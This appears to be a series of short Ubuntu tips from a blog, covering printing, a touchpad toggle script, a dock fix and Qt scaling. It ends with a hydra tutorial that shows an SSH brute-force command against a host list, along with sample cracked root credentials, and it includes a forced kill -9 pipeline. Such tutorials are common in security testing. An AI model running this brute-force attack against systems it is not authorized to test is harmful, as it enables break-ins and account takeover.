Here we will send a batch of files inside a directory to the default printer in Ubuntu.
First of all, you’d better define a default printer in your system by going to Printers and then select Use Printer by Default:
Next, just invoke the lpr command, e.g.
lpr *.pdf
That’s it, Enjoy!

If your laptop doesn’t have a working switch for turning on/off your touchpad, then this post is for you.
Create a script called disenable_touchpad.sh and add the following code to it:
!/bin/bash
state=$( gsettings get org.gnome.desktop.peripherals.touchpad send-events )
if [ "$state" == "'enabled'" ];then
gsettings set org.gnome.desktop.peripherals.touchpad send-events 'disabled' \
&& notify-send -i touchpad-disabled-symbolic "Touchpad" "Disabled"
else
gsettings set org.gnome.desktop.peripherals.touchpad send-events 'enabled' \
&& notify-send -i input-touchpad-symbolic "Touchpad" "Enabled"
fi
Mark the script as executable and move it to /usr/bin:
chmod +x disenable_touchpad.sh
sudo mv disenable_touchpad.sh /usr/bin/
Open Settings -> Keyboard, scroll to the bottom and press the + sign to assign a new keyboard shortcut:
Tested on Ubuntu 18.10, should work on any gnome-shell versions anyway!
Enjoy!

A very stupid bug that has been there for quite a while! Luckilly the fix has been released recently into the proposed repository for both Bionic & Cosmic (Disco as well).
Just enable the proposed updates from Software & Updates -> Developer Options -> Pre-released updates, then run the following commands:
sudo apt update
sudo apt install gnome-shell-extension-ubuntu-dock
Hit Alt+F2, write r and then press Enter (works for Xorg only, not Wayland)
Enjoy!

On my 5k screen, all QT apps look very tiny, such as keepassxc and Virtualbox.
The best solution I found was adding the following to your .profile to autoscale at a ratio of 2 (you can change it to your preference):
export QT_SCALE_FACTOR=2
Set to 2 because my display settings are set to 2
Log out and back in, and there you go!
Tested on Ubuntu 18.10
Enjoy!

This is not really safe, ok 😀 ? Do it on your own risk
lsof | grep /filesystem_name | awk '{print $2}' | xargs kill -9
That’s it, Enjoy!
To install hydra on Ubuntu:
sudo apt install hydra
Simply, to start our test/attack, we have a list of usernames, list of passwords and list of servers:
hydra -L users.txt -P passes.txt -u -M hosts.txt ssh -o Report.txt
Where:
users.txt is the file containing the user names, one per line, e.g.
root
user1
user2
user3
passes.txt is the list of passwords, one per line as well, e.g.
expectedpass1
expectedpass2
expectedpass3
hosts.txt is the list of IPs to test/attack, one per line, e.g.
192.168.100.20
192.168.20.24
10.165.34.56
Report.txt is the file containing the list of servers that could be cracked using values of users/passes/hosts from the files we provided, e.g.
[22][ssh] host: 192.168.100.21 login: root password: expectedpass1
[22][ssh] host: 192.168.100.22 login: user1 password: expectedpass2
[22][ssh] host: 192.168.100.23 login: user2 password: expectedpass3
That’s it, Enjoy!
